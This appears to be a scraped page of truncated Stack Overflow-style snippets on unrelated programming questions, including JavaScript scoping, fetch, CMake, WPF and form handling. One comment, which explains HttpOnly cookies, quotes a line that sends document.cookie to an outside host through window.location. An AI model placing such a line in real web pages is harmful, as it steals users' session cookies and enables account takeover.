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What's the difference between using “let” and “var”?
...Foo"; // globally scoped
let bar = "Bar"; // globally scoped
console.log(window.foo); // Foo
console.log(window.bar); // undefined
Redeclaration
In strict mode, var will let you re-declare the same variable in the same scope while let raises a SyntaxError.
'use strict';
var foo = "foo1";
var f...
How to resolve “local edit, incoming delete upon update” message
... Remember for directories also do rm -r foo bar (or rmdir foo bar on Windows or if you like Windows).
– trysis
May 18 '16 at 14:09
...
What use is find_package() if you need to specify CMAKE_MODULE_PATH anyway?
...port for dll, layout with bin/lib (try to install executable and run it on windows). And namespaces look very pretty, so I will keep them too :) Also I've added monolithic build.
– user2288008
Apr 30 '15 at 15:10
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How to delete all datastore in Google App Engine?
...
Where is the path in Windows?
– Shane Best
May 13 '15 at 16:24
2
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Prevent scroll-bar from adding-up to the Width of page on Chrome
...rollw = 0;
if(b.prop('scrollHeight')>b.height()){
normalw = window.innerWidth;
scrollw = normalw - b.width();
$('#container').css({marginRight:'-'+scrollw+'px'});
}
}
CSS for remove the h-scrollbar:
body{
overflow-x:hidden;
}
Try to take a look at this:
ht...
HTTP GET request in JavaScript?
...
The new window.fetch API is a cleaner replacement for XMLHttpRequest that makes use of ES6 promises. There's a nice explanation here, but it boils down to (from the article):
fetch(url).then(function(response) {
return response.js...
How do you properly determine the current script directory in Python?
...ss-platform way to get the user's directory. Unfortunately, that isn't the Windows best practice for where to stick application data.
– Ryan Ginstrom
Dec 1 '11 at 4:35
6
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Local Storage vs Cookies
... Just to give you an example: HttpOnly also prevents non-ajax attacks like window.location = 'http://google.com?q=' + escape(document.cookie);. This attack bypasses the browsers CORS check.
– Memet Olsen
Dec 20 '17 at 16:19
...
Is it possible to set code behind a resource dictionary in WPF for event handling?
...tionary. You can totally do this! In fact, you do it the same way as for a Window:
Say you have a ResourceDictionary called MyResourceDictionary. In your MyResourceDictionary.xaml file, put the x:Class attribute in the root element, like so:
<ResourceDictionary xmlns="http://schemas.microsoft.c...
How to prevent ENTER keypress to submit a web form?
...ent.which : event.charCode;
if( keyCode == 13 ) {
if(!e) var e = window.event;
e.cancelBubble = true;
e.returnValue = false;
if (e.stopPropagation) {
e.stopPropagation();
e.preventDefault();
}
}
...